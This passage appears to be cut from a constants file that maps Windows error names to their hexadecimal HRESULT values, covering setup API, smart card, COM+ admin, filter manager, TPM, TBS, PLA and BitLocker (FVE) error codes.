SPAPI_E_CLASS_MISMATCH = 0x800F0201
SPAPI_E_DUPLICATE_FOUND = 0x800F0202
SPAPI_E_NO_DRIVER_SELECTED = 0x800F0203
SPAPI_E_KEY_DOES_NOT_EXIST = 0x800F0204
SPAPI_E_INVALID_DEVINST_NAME = 0x800F0205
SPAPI_E_INVALID_CLASS = 0x800F0206
SPAPI_E_DEVINST_ALREADY_EXISTS = 0x800F0207
SPAPI_E_DEVINFO_NOT_REGISTERED = 0x800F0208
SPAPI_E_INVALID_REG_PROPERTY = 0x800F0209
SPAPI_E_NO_INF = 0x800F020A
SPAPI_E_NO_SUCH_DEVINST = 0x800F020B
SPAPI_E_CANT_LOAD_CLASS_ICON = 0x800F020C
SPAPI_E_INVALID_CLASS_INSTALLER = 0x800F020D
SPAPI_E_DI_DO_DEFAULT = 0x800F020E
SPAPI_E_DI_NOFILECOPY = 0x800F020F
SPAPI_E_INVALID_HWPROFILE = 0x800F0210
SPAPI_E_NO_DEVICE_SELECTED = 0x800F0211
SPAPI_E_DEVINFO_LIST_LOCKED = 0x800F0212
SPAPI_E_DEVINFO_DATA_LOCKED = 0x800F0213
SPAPI_E_DI_BAD_PATH = 0x800F0214
SPAPI_E_NO_CLASSINSTALL_PARAMS = 0x800F0215
SPAPI_E_FILEQUEUE_LOCKED = 0x800F0216
SPAPI_E_BAD_SERVICE_INSTALLSECT = 0x800F0217
SPAPI_E_NO_CLASS_DRIVER_LIST = 0x800F0218
SPAPI_E_NO_ASSOCIATED_SERVICE = 0x800F0219
SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE = 0x800F021A
SPAPI_E_DEVICE_INTERFACE_ACTIVE = 0x800F021B
SPAPI_E_DEVICE_INTERFACE_REMOVED = 0x800F021C
SPAPI_E_BAD_INTERFACE_INSTALLSECT = 0x800F021D
SPAPI_E_NO_SUCH_INTERFACE_CLASS = 0x800F021E
SPAPI_E_INVALID_REFERENCE_STRING = 0x800F021F
SPAPI_E_INVALID_MACHINENAME = 0x800F0220
SPAPI_E_REMOTE_COMM_FAILURE = 0x800F0221
SPAPI_E_MACHINE_UNAVAILABLE = 0x800F0222
SPAPI_E_NO_CONFIGMGR_SERVICES = 0x800F0223
SPAPI_E_INVALID_PROPPAGE_PROVIDER = 0x800F0224
SPAPI_E_NO_SUCH_DEVICE_INTERFACE = 0x800F0225
SPAPI_E_DI_POSTPROCESSING_REQUIRED = 0x800F0226
SPAPI_E_INVALID_COINSTALLER = 0x800F0227
SPAPI_E_NO_COMPAT_DRIVERS = 0x800F0228
SPAPI_E_NO_DEVICE_ICON = 0x800F0229
SPAPI_E_INVALID_INF_LOGCONFIG = 0x800F022A
SPAPI_E_DI_DONT_INSTALL = 0x800F022B
SPAPI_E_INVALID_FILTER_DRIVER = 0x800F022C
SPAPI_E_NON_WINDOWS_NT_DRIVER = 0x800F022D
SPAPI_E_NON_WINDOWS_DRIVER = 0x800F022E
SPAPI_E_NO_CATALOG_FOR_OEM_INF = 0x800F022F
SPAPI_E_DEVINSTALL_QUEUE_NONNATIVE = 0x800F0230
SPAPI_E_NOT_DISABLEABLE = 0x800F0231
SPAPI_E_CANT_REMOVE_DEVINST = 0x800F0232
SPAPI_E_INVALID_TARGET = 0x800F0233
SPAPI_E_DRIVER_NONNATIVE = 0x800F0234
SPAPI_E_IN_WOW64 = 0x800F0235
SPAPI_E_SET_SYSTEM_RESTORE_POINT = 0x800F0236
SPAPI_E_INCORRECTLY_COPIED_INF = 0x800F0237
SPAPI_E_SCE_DISABLED = 0x800F0238
SPAPI_E_UNKNOWN_EXCEPTION = 0x800F0239
SPAPI_E_PNP_REGISTRY_ERROR = 0x800F023A
SPAPI_E_REMOTE_REQUEST_UNSUPPORTED = 0x800F023B
SPAPI_E_NOT_AN_INSTALLED_OEM_INF = 0x800F023C
SPAPI_E_INF_IN_USE_BY_DEVICES = 0x800F023D
SPAPI_E_DI_FUNCTION_OBSOLETE = 0x800F023E
SPAPI_E_NO_AUTHENTICODE_CATALOG = 0x800F023F
SPAPI_E_AUTHENTICODE_DISALLOWED = 0x800F0240
SPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER = 0x800F0241
SPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED = 0x800F0242
SPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED = 0x800F0243
SPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH = 0x800F0244
SPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE = 0x800F0245
SPAPI_E_DEVICE_INSTALLER_NOT_READY = 0x800F0246
SPAPI_E_DRIVER_STORE_ADD_FAILED = 0x800F0247
SPAPI_E_DEVICE_INSTALL_BLOCKED = 0x800F0248
SPAPI_E_DRIVER_INSTALL_BLOCKED = 0x800F0249
SPAPI_E_WRONG_INF_TYPE = 0x800F024A
SPAPI_E_FILE_HASH_NOT_IN_CATALOG = 0x800F024B
SPAPI_E_DRIVER_STORE_DELETE_FAILED = 0x800F024C
SPAPI_E_UNRECOVERABLE_STACK_OVERFLOW = 0x800F0300
SPAPI_E_ERROR_NOT_INSTALLED = 0x800F1000
SCARD_F_INTERNAL_ERROR = 0x80100001
SCARD_E_CANCELLED = 0x80100002
SCARD_E_INVALID_HANDLE = 0x80100003
SCARD_E_INVALID_PARAMETER = 0x80100004
SCARD_E_INVALID_TARGET = 0x80100005
SCARD_E_NO_MEMORY = 0x80100006
SCARD_F_WAITED_TOO_LONG = 0x80100007
SCARD_E_INSUFFICIENT_BUFFER = 0x80100008
SCARD_E_UNKNOWN_READER = 0x80100009
SCARD_E_TIMEOUT = 0x8010000A
SCARD_E_SHARING_VIOLATION = 0x8010000B
SCARD_E_NO_SMARTCARD = 0x8010000C
SCARD_E_UNKNOWN_CARD = 0x8010000D
SCARD_E_CANT_DISPOSE = 0x8010000E
SCARD_E_PROTO_MISMATCH = 0x8010000F
SCARD_E_NOT_READY = 0x80100010
SCARD_E_INVALID_VALUE = 0x80100011
SCARD_E_SYSTEM_CANCELLED = 0x80100012
SCARD_F_COMM_ERROR = 0x80100013
SCARD_F_UNKNOWN_ERROR = 0x80100014
SCARD_E_INVALID_ATR = 0x80100015
SCARD_E_NOT_TRANSACTED = 0x80100016
SCARD_E_READER_UNAVAILABLE = 0x80100017
SCARD_P_SHUTDOWN = 0x80100018
SCARD_E_PCI_TOO_SMALL = 0x80100019
SCARD_E_READER_UNSUPPORTED = 0x8010001A
SCARD_E_DUPLICATE_READER = 0x8010001B
SCARD_E_CARD_UNSUPPORTED = 0x8010001C
SCARD_E_NO_SERVICE = 0x8010001D
SCARD_E_SERVICE_STOPPED = 0x8010001E
SCARD_E_UNEXPECTED = 0x8010001F
SCARD_E_ICC_INSTALLATION = 0x80100020
SCARD_E_ICC_CREATEORDER = 0x80100021
SCARD_E_UNSUPPORTED_FEATURE = 0x80100022
SCARD_E_DIR_NOT_FOUND = 0x80100023
SCARD_E_FILE_NOT_FOUND = 0x80100024
SCARD_E_NO_DIR = 0x80100025
SCARD_E_NO_FILE = 0x80100026
SCARD_E_NO_ACCESS = 0x80100027
SCARD_E_WRITE_TOO_MANY = 0x80100028
SCARD_E_BAD_SEEK = 0x80100029
SCARD_E_INVALID_CHV = 0x8010002A
SCARD_E_UNKNOWN_RES_MNG = 0x8010002B
SCARD_E_NO_SUCH_CERTIFICATE = 0x8010002C
SCARD_E_CERTIFICATE_UNAVAILABLE = 0x8010002D
SCARD_E_NO_READERS_AVAILABLE = 0x8010002E
SCARD_E_COMM_DATA_LOST = 0x8010002F
SCARD_E_NO_KEY_CONTAINER = 0x80100030
SCARD_E_SERVER_TOO_BUSY = 0x80100031
SCARD_W_UNSUPPORTED_CARD = 0x80100065
SCARD_W_UNRESPONSIVE_CARD = 0x80100066
SCARD_W_UNPOWERED_CARD = 0x80100067
SCARD_W_RESET_CARD = 0x80100068
SCARD_W_REMOVED_CARD = 0x80100069
SCARD_W_SECURITY_VIOLATION = 0x8010006A
SCARD_W_WRONG_CHV = 0x8010006B
SCARD_W_CHV_BLOCKED = 0x8010006C
SCARD_W_EOF = 0x8010006D
SCARD_W_CANCELLED_BY_USER = 0x8010006E
SCARD_W_CARD_NOT_AUTHENTICATED = 0x8010006F
COMADMIN_E_OBJECTERRORS = 0x80110401
COMADMIN_E_OBJECTINVALID = 0x80110402
COMADMIN_E_KEYMISSING = 0x80110403
COMADMIN_E_ALREADYINSTALLED = 0x80110404
COMADMIN_E_APP_FILE_WRITEFAIL = 0x80110407
COMADMIN_E_APP_FILE_READFAIL = 0x80110408
COMADMIN_E_APP_FILE_VERSION = 0x80110409
COMADMIN_E_BADPATH = 0x8011040A
COMADMIN_E_APPLICATIONEXISTS = 0x8011040B
COMADMIN_E_ROLEEXISTS = 0x8011040C
COMADMIN_E_CANTCOPYFILE = 0x8011040D
COMADMIN_E_NOUSER = 0x8011040F
COMADMIN_E_INVALIDUSERIDS = 0x80110410
COMADMIN_E_NOREGISTRYCLSID = 0x80110411
COMADMIN_E_BADREGISTRYPROGID = 0x80110412
COMADMIN_E_AUTHENTICATIONLEVEL = 0x80110413
COMADMIN_E_USERPASSWDNOTVALID = 0x80110414
COMADMIN_E_CLSIDORIIDMISMATCH = 0x80110418
COMADMIN_E_REMOTEINTERFACE = 0x80110419
COMADMIN_E_DLLREGISTERSERVER = 0x8011041A
COMADMIN_E_NOSERVERSHARE = 0x8011041B
COMADMIN_E_DLLLOADFAILED = 0x8011041D
COMADMIN_E_BADREGISTRYLIBID = 0x8011041E
COMADMIN_E_APPDIRNOTFOUND = 0x8011041F
COMADMIN_E_REGISTRARFAILED = 0x80110423
COMADMIN_E_COMPFILE_DOESNOTEXIST = 0x80110424
COMADMIN_E_COMPFILE_LOADDLLFAIL = 0x80110425
COMADMIN_E_COMPFILE_GETCLASSOBJ = 0x80110426
COMADMIN_E_COMPFILE_CLASSNOTAVAIL = 0x80110427
COMADMIN_E_COMPFILE_BADTLB = 0x80110428
COMADMIN_E_COMPFILE_NOTINSTALLABLE = 0x80110429
COMADMIN_E_NOTCHANGEABLE = 0x8011042A
COMADMIN_E_NOTDELETEABLE = 0x8011042B
COMADMIN_E_SESSION = 0x8011042C
COMADMIN_E_COMP_MOVE_LOCKED = 0x8011042D
COMADMIN_E_COMP_MOVE_BAD_DEST = 0x8011042E
COMADMIN_E_REGISTERTLB = 0x80110430
COMADMIN_E_SYSTEMAPP = 0x80110433
COMADMIN_E_COMPFILE_NOREGISTRAR = 0x80110434
COMADMIN_E_COREQCOMPINSTALLED = 0x80110435
COMADMIN_E_SERVICENOTINSTALLED = 0x80110436
COMADMIN_E_PROPERTYSAVEFAILED = 0x80110437
COMADMIN_E_OBJECTEXISTS = 0x80110438
COMADMIN_E_COMPONENTEXISTS = 0x80110439
COMADMIN_E_REGFILE_CORRUPT = 0x8011043B
COMADMIN_E_PROPERTY_OVERFLOW = 0x8011043C
COMADMIN_E_NOTINREGISTRY = 0x8011043E
COMADMIN_E_OBJECTNOTPOOLABLE = 0x8011043F
COMADMIN_E_APPLID_MATCHES_CLSID = 0x80110446
COMADMIN_E_ROLE_DOES_NOT_EXIST = 0x80110447
COMADMIN_E_START_APP_NEEDS_COMPONENTS = 0x80110448
COMADMIN_E_REQUIRES_DIFFERENT_PLATFORM = 0x80110449
COMADMIN_E_CAN_NOT_EXPORT_APP_PROXY = 0x8011044A
COMADMIN_E_CAN_NOT_START_APP = 0x8011044B
COMADMIN_E_CAN_NOT_EXPORT_SYS_APP = 0x8011044C
COMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT = 0x8011044D
COMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER = 0x8011044E
COMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE = 0x8011044F
COMADMIN_E_BASE_PARTITION_ONLY = 0x80110450
COMADMIN_E_START_APP_DISABLED = 0x80110451
COMADMIN_E_CAT_DUPLICATE_PARTITION_NAME = 0x80110457
COMADMIN_E_CAT_INVALID_PARTITION_NAME = 0x80110458
COMADMIN_E_CAT_PARTITION_IN_USE = 0x80110459
COMADMIN_E_FILE_PARTITION_DUPLICATE_FILES = 0x8011045A
COMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED = 0x8011045B
COMADMIN_E_AMBIGUOUS_APPLICATION_NAME = 0x8011045C
COMADMIN_E_AMBIGUOUS_PARTITION_NAME = 0x8011045D
COMADMIN_E_REGDB_NOTINITIALIZED = 0x80110472
COMADMIN_E_REGDB_NOTOPEN = 0x80110473
COMADMIN_E_REGDB_SYSTEMERR = 0x80110474
COMADMIN_E_REGDB_ALREADYRUNNING = 0x80110475
COMADMIN_E_MIG_VERSIONNOTSUPPORTED = 0x80110480
COMADMIN_E_MIG_SCHEMANOTFOUND = 0x80110481
COMADMIN_E_CAT_BITNESSMISMATCH = 0x80110482
COMADMIN_E_CAT_UNACCEPTABLEBITNESS = 0x80110483
COMADMIN_E_CAT_WRONGAPPBITNESS = 0x80110484
COMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED = 0x80110485
COMADMIN_E_CAT_SERVERFAULT = 0x80110486
COMQC_E_APPLICATION_NOT_QUEUED = 0x80110600
COMQC_E_NO_QUEUEABLE_INTERFACES = 0x80110601
COMQC_E_QUEUING_SERVICE_NOT_AVAILABLE = 0x80110602
COMQC_E_NO_IPERSISTSTREAM = 0x80110603
COMQC_E_BAD_MESSAGE = 0x80110604
COMQC_E_UNAUTHENTICATED = 0x80110605
COMQC_E_UNTRUSTED_ENQUEUER = 0x80110606
MSDTC_E_DUPLICATE_RESOURCE = 0x80110701
COMADMIN_E_OBJECT_PARENT_MISSING = 0x80110808
COMADMIN_E_OBJECT_DOES_NOT_EXIST = 0x80110809
COMADMIN_E_APP_NOT_RUNNING = 0x8011080A
COMADMIN_E_INVALID_PARTITION = 0x8011080B
COMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE = 0x8011080D
COMADMIN_E_USER_IN_SET = 0x8011080E
COMADMIN_E_CANTRECYCLELIBRARYAPPS = 0x8011080F
COMADMIN_E_CANTRECYCLESERVICEAPPS = 0x80110811
COMADMIN_E_PROCESSALREADYRECYCLED = 0x80110812
COMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED = 0x80110813
COMADMIN_E_CANTMAKEINPROCSERVICE = 0x80110814
COMADMIN_E_PROGIDINUSEBYCLSID = 0x80110815
COMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET = 0x80110816
COMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED = 0x80110817
COMADMIN_E_PARTITION_ACCESSDENIED = 0x80110818
COMADMIN_E_PARTITION_MSI_ONLY = 0x80110819
COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT = 0x8011081A
COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS = 0x8011081B
COMADMIN_E_COMP_MOVE_SOURCE = 0x8011081C
COMADMIN_E_COMP_MOVE_DEST = 0x8011081D
COMADMIN_E_COMP_MOVE_PRIVATE = 0x8011081E
COMADMIN_E_BASEPARTITION_REQUIRED_IN_SET = 0x8011081F
COMADMIN_E_CANNOT_ALIAS_EVENTCLASS = 0x80110820
COMADMIN_E_PRIVATE_ACCESSDENIED = 0x80110821
COMADMIN_E_SAFERINVALID = 0x80110822
COMADMIN_E_REGISTRY_ACCESSDENIED = 0x80110823
COMADMIN_E_PARTITIONS_DISABLED = 0x80110824
ERROR_FLT_NO_HANDLER_DEFINED = 0x801F0001
ERROR_FLT_CONTEXT_ALREADY_DEFINED = 0x801F0002
ERROR_FLT_INVALID_ASYNCHRONOUS_REQUEST = 0x801F0003
ERROR_FLT_DISALLOW_FAST_IO = 0x801F0004
ERROR_FLT_INVALID_NAME_REQUEST = 0x801F0005
ERROR_FLT_NOT_SAFE_TO_POST_OPERATION = 0x801F0006
ERROR_FLT_NOT_INITIALIZED = 0x801F0007
ERROR_FLT_FILTER_NOT_READY = 0x801F0008
ERROR_FLT_POST_OPERATION_CLEANUP = 0x801F0009
ERROR_FLT_INTERNAL_ERROR = 0x801F000A
ERROR_FLT_DELETING_OBJECT = 0x801F000B
ERROR_FLT_MUST_BE_NONPAGED_POOL = 0x801F000C
ERROR_FLT_DUPLICATE_ENTRY = 0x801F000D
ERROR_FLT_CBDQ_DISABLED = 0x801F000E
ERROR_FLT_DO_NOT_ATTACH = 0x801F000F
ERROR_FLT_DO_NOT_DETACH = 0x801F0010
ERROR_FLT_INSTANCE_ALTITUDE_COLLISION = 0x801F0011
ERROR_FLT_INSTANCE_NAME_COLLISION = 0x801F0012
ERROR_FLT_FILTER_NOT_FOUND = 0x801F0013
ERROR_FLT_VOLUME_NOT_FOUND = 0x801F0014
ERROR_FLT_INSTANCE_NOT_FOUND = 0x801F0015
ERROR_FLT_CONTEXT_ALLOCATION_NOT_FOUND = 0x801F0016
ERROR_FLT_INVALID_CONTEXT_REGISTRATION = 0x801F0017
ERROR_FLT_NAME_CACHE_MISS = 0x801F0018
ERROR_FLT_NO_DEVICE_OBJECT = 0x801F0019
ERROR_FLT_VOLUME_ALREADY_MOUNTED = 0x801F001A
ERROR_FLT_ALREADY_ENLISTED = 0x801F001B
ERROR_FLT_CONTEXT_ALREADY_LINKED = 0x801F001C
ERROR_FLT_NO_WAITER_FOR_REPLY = 0x801F0020
ERROR_HUNG_DISPLAY_DRIVER_THREAD = 0x80260001
ERROR_MONITOR_NO_DESCRIPTOR = 0x80261001
ERROR_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT = 0x80261002
DWM_E_COMPOSITIONDISABLED = 0x80263001
DWM_E_REMOTING_NOT_SUPPORTED = 0x80263002
DWM_E_NO_REDIRECTION_SURFACE_AVAILABLE = 0x80263003
DWM_E_NOT_QUEUING_PRESENTS = 0x80263004
TPM_E_ERROR_MASK = 0x80280000
TPM_E_AUTHFAIL = 0x80280001
TPM_E_BADINDEX = 0x80280002
TPM_E_BAD_PARAMETER = 0x80280003
TPM_E_AUDITFAILURE = 0x80280004
TPM_E_CLEAR_DISABLED = 0x80280005
TPM_E_DEACTIVATED = 0x80280006
TPM_E_DISABLED = 0x80280007
TPM_E_DISABLED_CMD = 0x80280008
TPM_E_FAIL = 0x80280009
TPM_E_BAD_ORDINAL = 0x8028000A
TPM_E_INSTALL_DISABLED = 0x8028000B
TPM_E_INVALID_KEYHANDLE = 0x8028000C
TPM_E_KEYNOTFOUND = 0x8028000D
TPM_E_INAPPROPRIATE_ENC = 0x8028000E
TPM_E_MIGRATEFAIL = 0x8028000F
TPM_E_INVALID_PCR_INFO = 0x80280010
TPM_E_NOSPACE = 0x80280011
TPM_E_NOSRK = 0x80280012
TPM_E_NOTSEALED_BLOB = 0x80280013
TPM_E_OWNER_SET = 0x80280014
TPM_E_RESOURCES = 0x80280015
TPM_E_SHORTRANDOM = 0x80280016
TPM_E_SIZE = 0x80280017
TPM_E_WRONGPCRVAL = 0x80280018
TPM_E_BAD_PARAM_SIZE = 0x80280019
TPM_E_SHA_THREAD = 0x8028001A
TPM_E_SHA_ERROR = 0x8028001B
TPM_E_FAILEDSELFTEST = 0x8028001C
TPM_E_AUTH2FAIL = 0x8028001D
TPM_E_BADTAG = 0x8028001E
TPM_E_IOERROR = 0x8028001F
TPM_E_ENCRYPT_ERROR = 0x80280020
TPM_E_DECRYPT_ERROR = 0x80280021
TPM_E_INVALID_AUTHHANDLE = 0x80280022
TPM_E_NO_ENDORSEMENT = 0x80280023
TPM_E_INVALID_KEYUSAGE = 0x80280024
TPM_E_WRONG_ENTITYTYPE = 0x80280025
TPM_E_INVALID_POSTINIT = 0x80280026
TPM_E_INAPPROPRIATE_SIG = 0x80280027
TPM_E_BAD_KEY_PROPERTY = 0x80280028
TPM_E_BAD_MIGRATION = 0x80280029
TPM_E_BAD_SCHEME = 0x8028002A
TPM_E_BAD_DATASIZE = 0x8028002B
TPM_E_BAD_MODE = 0x8028002C
TPM_E_BAD_PRESENCE = 0x8028002D
TPM_E_BAD_VERSION = 0x8028002E
TPM_E_NO_WRAP_TRANSPORT = 0x8028002F
TPM_E_AUDITFAIL_UNSUCCESSFUL = 0x80280030
TPM_E_AUDITFAIL_SUCCESSFUL = 0x80280031
TPM_E_NOTRESETABLE = 0x80280032
TPM_E_NOTLOCAL = 0x80280033
TPM_E_BAD_TYPE = 0x80280034
TPM_E_INVALID_RESOURCE = 0x80280035
TPM_E_NOTFIPS = 0x80280036
TPM_E_INVALID_FAMILY = 0x80280037
TPM_E_NO_NV_PERMISSION = 0x80280038
TPM_E_REQUIRES_SIGN = 0x80280039
TPM_E_KEY_NOTSUPPORTED = 0x8028003A
TPM_E_AUTH_CONFLICT = 0x8028003B
TPM_E_AREA_LOCKED = 0x8028003C
TPM_E_BAD_LOCALITY = 0x8028003D
TPM_E_READ_ONLY = 0x8028003E
TPM_E_PER_NOWRITE = 0x8028003F
TPM_E_FAMILYCOUNT = 0x80280040
TPM_E_WRITE_LOCKED = 0x80280041
TPM_E_BAD_ATTRIBUTES = 0x80280042
TPM_E_INVALID_STRUCTURE = 0x80280043
TPM_E_KEY_OWNER_CONTROL = 0x80280044
TPM_E_BAD_COUNTER = 0x80280045
TPM_E_NOT_FULLWRITE = 0x80280046
TPM_E_CONTEXT_GAP = 0x80280047
TPM_E_MAXNVWRITES = 0x80280048
TPM_E_NOOPERATOR = 0x80280049
TPM_E_RESOURCEMISSING = 0x8028004A
TPM_E_DELEGATE_LOCK = 0x8028004B
TPM_E_DELEGATE_FAMILY = 0x8028004C
TPM_E_DELEGATE_ADMIN = 0x8028004D
TPM_E_TRANSPORT_NOTEXCLUSIVE = 0x8028004E
TPM_E_OWNER_CONTROL = 0x8028004F
TPM_E_DAA_RESOURCES = 0x80280050
TPM_E_DAA_INPUT_DATA0 = 0x80280051
TPM_E_DAA_INPUT_DATA1 = 0x80280052
TPM_E_DAA_ISSUER_SETTINGS = 0x80280053
TPM_E_DAA_TPM_SETTINGS = 0x80280054
TPM_E_DAA_STAGE = 0x80280055
TPM_E_DAA_ISSUER_VALIDITY = 0x80280056
TPM_E_DAA_WRONG_W = 0x80280057
TPM_E_BAD_HANDLE = 0x80280058
TPM_E_BAD_DELEGATE = 0x80280059
TPM_E_BADCONTEXT = 0x8028005A
TPM_E_TOOMANYCONTEXTS = 0x8028005B
TPM_E_MA_TICKET_SIGNATURE = 0x8028005C
TPM_E_MA_DESTINATION = 0x8028005D
TPM_E_MA_SOURCE = 0x8028005E
TPM_E_MA_AUTHORITY = 0x8028005F
TPM_E_PERMANENTEK = 0x80280061
TPM_E_BAD_SIGNATURE = 0x80280062
TPM_E_NOCONTEXTSPACE = 0x80280063
TPM_E_COMMAND_BLOCKED = 0x80280400
TPM_E_INVALID_HANDLE = 0x80280401
TPM_E_DUPLICATE_VHANDLE = 0x80280402
TPM_E_EMBEDDED_COMMAND_BLOCKED = 0x80280403
TPM_E_EMBEDDED_COMMAND_UNSUPPORTED = 0x80280404
TPM_E_RETRY = 0x80280800
TPM_E_NEEDS_SELFTEST = 0x80280801
TPM_E_DOING_SELFTEST = 0x80280802
TPM_E_DEFEND_LOCK_RUNNING = 0x80280803
TBS_E_INTERNAL_ERROR = 0x80284001
TBS_E_BAD_PARAMETER = 0x80284002
TBS_E_INVALID_OUTPUT_POINTER = 0x80284003
TBS_E_INVALID_CONTEXT = 0x80284004
TBS_E_INSUFFICIENT_BUFFER = 0x80284005
TBS_E_IOERROR = 0x80284006
TBS_E_INVALID_CONTEXT_PARAM = 0x80284007
TBS_E_SERVICE_NOT_RUNNING = 0x80284008
TBS_E_TOO_MANY_TBS_CONTEXTS = 0x80284009
TBS_E_TOO_MANY_RESOURCES = 0x8028400A
TBS_E_SERVICE_START_PENDING = 0x8028400B
TBS_E_PPI_NOT_SUPPORTED = 0x8028400C
TBS_E_COMMAND_CANCELED = 0x8028400D
TBS_E_BUFFER_TOO_LARGE = 0x8028400E
TPMAPI_E_INVALID_STATE = 0x80290100
TPMAPI_E_NOT_ENOUGH_DATA = 0x80290101
TPMAPI_E_TOO_MUCH_DATA = 0x80290102
TPMAPI_E_INVALID_OUTPUT_POINTER = 0x80290103
TPMAPI_E_INVALID_PARAMETER = 0x80290104
TPMAPI_E_OUT_OF_MEMORY = 0x80290105
TPMAPI_E_BUFFER_TOO_SMALL = 0x80290106
TPMAPI_E_INTERNAL_ERROR = 0x80290107
TPMAPI_E_ACCESS_DENIED = 0x80290108
TPMAPI_E_AUTHORIZATION_FAILED = 0x80290109
TPMAPI_E_INVALID_CONTEXT_HANDLE = 0x8029010A
TPMAPI_E_TBS_COMMUNICATION_ERROR = 0x8029010B
TPMAPI_E_TPM_COMMAND_ERROR = 0x8029010C
TPMAPI_E_MESSAGE_TOO_LARGE = 0x8029010D
TPMAPI_E_INVALID_ENCODING = 0x8029010E
TPMAPI_E_INVALID_KEY_SIZE = 0x8029010F
TPMAPI_E_ENCRYPTION_FAILED = 0x80290110
TPMAPI_E_INVALID_KEY_PARAMS = 0x80290111
TPMAPI_E_INVALID_MIGRATION_AUTHORIZATION_BLOB = 0x80290112
TPMAPI_E_INVALID_PCR_INDEX = 0x80290113
TPMAPI_E_INVALID_DELEGATE_BLOB = 0x80290114
TPMAPI_E_INVALID_CONTEXT_PARAMS = 0x80290115
TPMAPI_E_INVALID_KEY_BLOB = 0x80290116
TPMAPI_E_INVALID_PCR_DATA = 0x80290117
TPMAPI_E_INVALID_OWNER_AUTH = 0x80290118
TBSIMP_E_BUFFER_TOO_SMALL = 0x80290200
TBSIMP_E_CLEANUP_FAILED = 0x80290201
TBSIMP_E_INVALID_CONTEXT_HANDLE = 0x80290202
TBSIMP_E_INVALID_CONTEXT_PARAM = 0x80290203
TBSIMP_E_TPM_ERROR = 0x80290204
TBSIMP_E_HASH_BAD_KEY = 0x80290205
TBSIMP_E_DUPLICATE_VHANDLE = 0x80290206
TBSIMP_E_INVALID_OUTPUT_POINTER = 0x80290207
TBSIMP_E_INVALID_PARAMETER = 0x80290208
TBSIMP_E_RPC_INIT_FAILED = 0x80290209
TBSIMP_E_SCHEDULER_NOT_RUNNING = 0x8029020A
TBSIMP_E_COMMAND_CANCELED = 0x8029020B
TBSIMP_E_OUT_OF_MEMORY = 0x8029020C
TBSIMP_E_LIST_NO_MORE_ITEMS = 0x8029020D
TBSIMP_E_LIST_NOT_FOUND = 0x8029020E
TBSIMP_E_NOT_ENOUGH_SPACE = 0x8029020F
TBSIMP_E_NOT_ENOUGH_TPM_CONTEXTS = 0x80290210
TBSIMP_E_COMMAND_FAILED = 0x80290211
TBSIMP_E_UNKNOWN_ORDINAL = 0x80290212
TBSIMP_E_RESOURCE_EXPIRED = 0x80290213
TBSIMP_E_INVALID_RESOURCE = 0x80290214
TBSIMP_E_NOTHING_TO_UNLOAD = 0x80290215
TBSIMP_E_HASH_TABLE_FULL = 0x80290216
TBSIMP_E_TOO_MANY_TBS_CONTEXTS = 0x80290217
TBSIMP_E_TOO_MANY_RESOURCES = 0x80290218
TBSIMP_E_PPI_NOT_SUPPORTED = 0x80290219
TBSIMP_E_TPM_INCOMPATIBLE = 0x8029021A
TPM_E_PPI_ACPI_FAILURE = 0x80290300
TPM_E_PPI_USER_ABORT = 0x80290301
TPM_E_PPI_BIOS_FAILURE = 0x80290302
TPM_E_PPI_NOT_SUPPORTED = 0x80290303
PLA_E_DCS_NOT_FOUND = 0x80300002
PLA_E_TOO_MANY_FOLDERS = 0x80300045
PLA_E_NO_MIN_DISK = 0x80300070
PLA_E_DCS_IN_USE = 0x803000AA
PLA_E_DCS_ALREADY_EXISTS = 0x803000B7
PLA_E_PROPERTY_CONFLICT = 0x80300101
PLA_E_DCS_SINGLETON_REQUIRED = 0x80300102
PLA_E_CREDENTIALS_REQUIRED = 0x80300103
PLA_E_DCS_NOT_RUNNING = 0x80300104
PLA_E_CONFLICT_INCL_EXCL_API = 0x80300105
PLA_E_NETWORK_EXE_NOT_VALID = 0x80300106
PLA_E_EXE_ALREADY_CONFIGURED = 0x80300107
PLA_E_EXE_PATH_NOT_VALID = 0x80300108
PLA_E_DC_ALREADY_EXISTS = 0x80300109
PLA_E_DCS_START_WAIT_TIMEOUT = 0x8030010A
PLA_E_DC_START_WAIT_TIMEOUT = 0x8030010B
PLA_E_REPORT_WAIT_TIMEOUT = 0x8030010C
PLA_E_NO_DUPLICATES = 0x8030010D
PLA_E_EXE_FULL_PATH_REQUIRED = 0x8030010E
PLA_E_INVALID_SESSION_NAME = 0x8030010F
PLA_E_PLA_CHANNEL_NOT_ENABLED = 0x80300110
PLA_E_TASKSCHED_CHANNEL_NOT_ENABLED = 0x80300111
FVE_E_LOCKED_VOLUME = 0x80310000
FVE_E_NOT_ENCRYPTED = 0x80310001
FVE_E_NO_TPM_BIOS = 0x80310002
FVE_E_NO_MBR_METRIC = 0x80310003
FVE_E_NO_BOOTSECTOR_METRIC = 0x80310004
FVE_E_NO_BOOTMGR_METRIC = 0x80310005
FVE_E_WRONG_BOOTMGR = 0x80310006
FVE_E_SECURE_KEY_REQUIRED = 0x80310007
FVE_E_NOT_ACTIVATED = 0x80310008
FVE_E_ACTION_NOT_ALLOWED = 0x80310009
FVE_E_AD_SCHEMA_NOT_INSTALLED = 0x8031000A
FVE_E_AD_INVALID_DATATYPE = 0x8031000B
FVE_E_AD_INVALID_DATASIZE = 0x8031000C
FVE_E_AD_NO_VALUES = 0x8031000D
FVE_E_AD_ATTR_NOT_SET = 0x8031000E
FVE_E_AD_GUID_NOT_FOUND = 0x8031000F
FVE_E_BAD_INFORMATION = 0x80310010
FVE_E_TOO_SMALL = 0x80310011
FVE_E_SYSTEM_VOLUME = 0x80310012
